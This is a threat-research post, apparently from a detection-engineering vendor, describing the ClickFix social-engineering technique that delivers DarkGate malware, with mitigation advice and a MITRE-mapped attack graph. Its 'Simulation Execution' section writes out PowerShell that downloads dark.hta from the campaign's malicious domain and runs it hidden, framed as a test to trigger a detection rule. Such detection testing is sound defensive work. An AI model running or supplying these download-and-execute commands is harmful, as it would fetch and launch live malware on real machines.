SOC Prime Bias: Medium

16 Dec 2025 20:43
newspaper icon Point Wild

ClickFix Case Study: DarkGate Malware

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
ClickFix Case Study: DarkGate Malware
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query


Summary

The report outlines a social-engineering method dubbed ClickFix that persuades users to copy and run a PowerShell command, which then downloads a malicious HTA file. This HTA file in turn pulls down additional components, including an AutoIt script that creates directories, drops files, and establishes C2 communications. The activity is attributed to the DarkGate campaign and relies on base64-obfuscation plus clipboard tampering to avoid straightforward detection.

Investigation

Analysts unraveled several layers of base64-encoded content embedded in a bogus browser-extension alert page and recovered the PowerShell command responsible for fetching dark.hta from linktoxic34.com. When executed, the HTA deploys an AutoIt executable (fckhffh.a3x) that runs a DES routine and launches further payloads. Captured network telemetry shows HTTP(S) traffic to the malicious domain, followed by chained PowerShell script execution.

Mitigation

Recommended defences include user awareness training to discourage copying unknown code snippets, disabling the Windows Run dialog through Group Policy, and deploying behaviour-based antivirus solutions. Proactively blocking the malicious domain and monitoring for anomalous PowerShell executions can significantly reduce the risk of DarkGate infection.

Response

If a ClickFix-related event is identified, isolate the affected endpoint, stop all malicious processes, remove the HTA and AutoIt artifacts, and perform forensic analysis on any folders created during the intrusion. Update detection logic to flag suspicious PowerShell and HTA execution patterns and ensure the associated domain is blocked across the environment.

"graph TB %% Class Definitions classDef asset fill:#f0e68c classDef technique fill:#ffcc99 classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#e6e6fa classDef process fill:#ffdddd %% Nodes webpage_malicious["<b>Asset</b> – Malicious Webpage<br/>Embeds base64u2011encoded PowerShell and reverseu2011string obfuscation"] class webpage_malicious asset tech_html_smuggling["<b>Technique</b> – <b>T1027.006</b> Obfuscated Files or Information: HTML Smuggling<br/>Base64 PowerShell hidden in HTML/JavaScript"] class tech_html_smuggling technique tech_stripped_payloads["<b>Technique</b> – <b>T1027.008</b> Obfuscated Files or Information: Stripped Payloads<br/>Nested base64 strings conceal PowerShell"] class tech_stripped_payloads technique action_user_click["<b>Action</b> – <b>T1204.001</b> User Execution: Malicious Link<br/>Victim clicks u201cHow to fixu201d button"] class action_user_click action tech_clipboard_data["<b>Technique</b> – <b>T1115</b> Clipboard Data<br/>Script copies PowerShell command to clipboard"] class tech_clipboard_data technique action_copy_paste["<b>Action</b> – <b>T1204.004</b> User Execution: Malicious Copy and Paste<br/>User pastes command via Win+R and Ctrl+V"] class action_copy_paste action tech_powershell["<b>Technique</b> – <b>T1059.001</b> Command and Scripting Interpreter: PowerShell<br/>Executes downloaded command"] class tech_powershell technique process_powershell["<b>Process</b> – PowerShell"] class process_powershell process tech_web_protocol["<b>Technique</b> – <b>T1071.001</b> Application Layer Protocol: Web Protocols<br/>Downloads HTA over HTTP(S)"] class tech_web_protocol technique file_dark_hta["<b>File</b> – dark.hta<br/>HTA payload downloaded from linktoxic34.com"] class file_dark_hta file tech_mshta["<b>Technique</b> – <b>T1218.005</b> System Binary Proxy Execution: Mshta<br/>Executes HTA via mshta.exe"] class tech_mshta technique process_mshta["<b>Process</b> – mshta.exe"] class process_mshta process tech_lateral_transfer["<b>Technique</b> – <b>T1570</b> Lateral Tool Transfer<br/>HTA drops ZIP archive with additional binaries"] class tech_lateral_transfer technique file_payload_zip["<b>File</b> – payload.zip<br/>Contains AutoIt script and binaries"] class file_payload_zip file tech_masquerading["<b>Technique</b> – <b>T1036</b> Masquerading<br/>HTA presented as legitimate fix utility"] class tech_masquerading technique tech_rtl_override["<b>Technique</b> – <b>T1036.002</b> Masquerading: Rightu2011tou2011Left Override<br/>Reverseu2011string encoding to evade detection"] class tech_rtl_override technique tool_darkgate["<b>Tool</b> – DarkGate RAT<br/>Provides persistent remote access"] class tool_darkgate tool tech_remote_access["<b>Technique</b> – <b>T1219</b> Remote Access Tools<br/>Establishes C2 communications"] class tech_remote_access technique %% Connections webpage_malicious –>|uses| tech_html_smuggling webpage_malicious –>|uses| tech_stripped_payloads webpage_malicious –>|triggers| action_user_click action_user_click –>|leads_to| tech_clipboard_data tech_clipboard_data –>|enables| action_copy_paste action_copy_paste –>|executes| tech_powershell tech_powershell –>|runs| process_powershell process_powershell –>|downloads| tech_web_protocol tech_web_protocol –>|retrieves| file_dark_hta file_dark_hta –>|executed_by| tech_mshta tech_mshta –>|runs| process_mshta process_mshta –>|drops| tech_lateral_transfer tech_lateral_transfer –>|creates| file_payload_zip file_dark_hta –>|masquerades_as| tech_masquerading file_dark_hta –>|obfuscates_with| tech_rtl_override file_payload_zip –>|contains| tool_darkgate tool_darkgate –>|uses| tech_remote_access "

Attack Flow

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

  • Attack Narrative & Commands:
    An attacker who has gained low‑privilege access on a compromised Windows host wishes to download a malicious HTA payload used in the ClickFix campaign. To remain stealthy, the attacker leverages PowerShell—a native Windows tool—so no external binaries are introduced. The command is executed directly in the console (or via a scheduled task) and includes the exact URL the rule watches for. The download is stored in the user’s %TEMP% directory and then executed via Start-Process.

    $url = "https://linktoxic34.com/wp-content/themes/twentytwentytwo/dark.hta"
$out = "$env:TEMPdark.hta"
Invoke-WebRequest -Uri $url -OutFile $out
Start-Process -FilePath $out

  • Regression Test Script: (self‑contained, reproduces the above steps)

    # ClickFix HTA download simulation – triggers the Sigma rule
$maliciousUrl = "https://linktoxic34.com/wp-content/themes/twentytwentytwo/dark.hta"
$destPath = "$env:TEMPdark.hta"

try {
    Write-Host "[*] Downloading malicious HTA payload..."
    Invoke-WebRequest -Uri $maliciousUrl -OutFile $destPath -UseBasicParsing
    Write-Host "[+] Download complete. Executing payload..."
    Start-Process -FilePath $destPath -WindowStyle Hidden
} catch {
    Write-Error "Download or execution failed: $_"
}

  • Cleanup Commands: (removes the downloaded HTA and any running instance)

    # Remove the HTA file and terminate any lingering process
$htaPath = "$env:TEMPdark.hta"
if (Test-Path $htaPath) {
    Remove-Item $htaPath -Force
    Write-Host "[*] HTA file removed."
}
# Kill any process that may have been launched from the HTA (generic example)
Get-Process | Where-Object {$_.Path -like "*dark.hta*"} | Stop-Process -Force

Join SOC Prime's Detection as Code platform to improve visibility into threats most relevant to your business. To help you get started and drive immediate value, book a meeting now with SOC Prime experts.

Join for Free